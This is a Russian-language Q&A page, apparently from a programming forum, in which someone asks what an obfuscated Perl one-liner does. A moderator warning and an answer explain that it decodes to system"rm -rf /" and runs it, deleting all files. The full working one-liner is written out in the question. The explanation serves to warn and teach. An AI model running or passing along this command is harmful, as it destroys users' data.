Что делает данный однострочник на Perl?
Дополнение от модератора: данный вопрос содержит код, который может привести к удалению всех файлов в вашей Линукс системе, не стоит бездумно пытаться запустить данный код.
Подробнее см. Rm -rf
Что делает данный однострочник:
cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'
Ответы (1 шт):
Эта программа удаляет все директории, в том числе и корневую /.
А если подробнее то:
echo "test... test... test..." выполнение этой команды не влияет на работу и добавлено, скорее всего, для усыпления бдительности. То, что происходит в остальном коде — совсем не очевидно из-за преднамеренно запутанного написания. В данной строчке записано всего три последовательно выполняемых команды. Запишем команду следующим образом:
$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;
y; -/:-@[-`{-};`-{/" -; ;
s;;$_;see
Первая конструкция анализирует переменную $? — код возврата предыдущей команды. Так как перед выполнением этой конструкции дочерних процессов не создавалось, $? будет содержать 0, и выполнена будет вторая «ветка» — s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь, заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|{ (первый символ после s устанавливает ограничитель параметров этого оператора, и хотя традиционно используются слэш / или |, для неясности в этой конструкции используется ограничитель ;).
Вторая команда транслирует содержимое «аккумулятора» по достаточно сложным правилам. В левой части указано четыре диапазона символов, в правой — один. Если раскрыть эти диапазоны, получим следующее соответствие:
!"#$%&'()*+,-./:;<=>?@[\]^_`{|}
`abcdefghijklmnopqrstuvwxyz{/" -
В результате содержимое $_ принимает вид:
system"rm -rf /"
Третья же команда дважды (как инструктирует флаг ee) «вычисляет» содержимое аккумулятора — вышеуказанную деструктивную команду — и пытается заменить пустую строку в аккумуляторе на результат вычисления.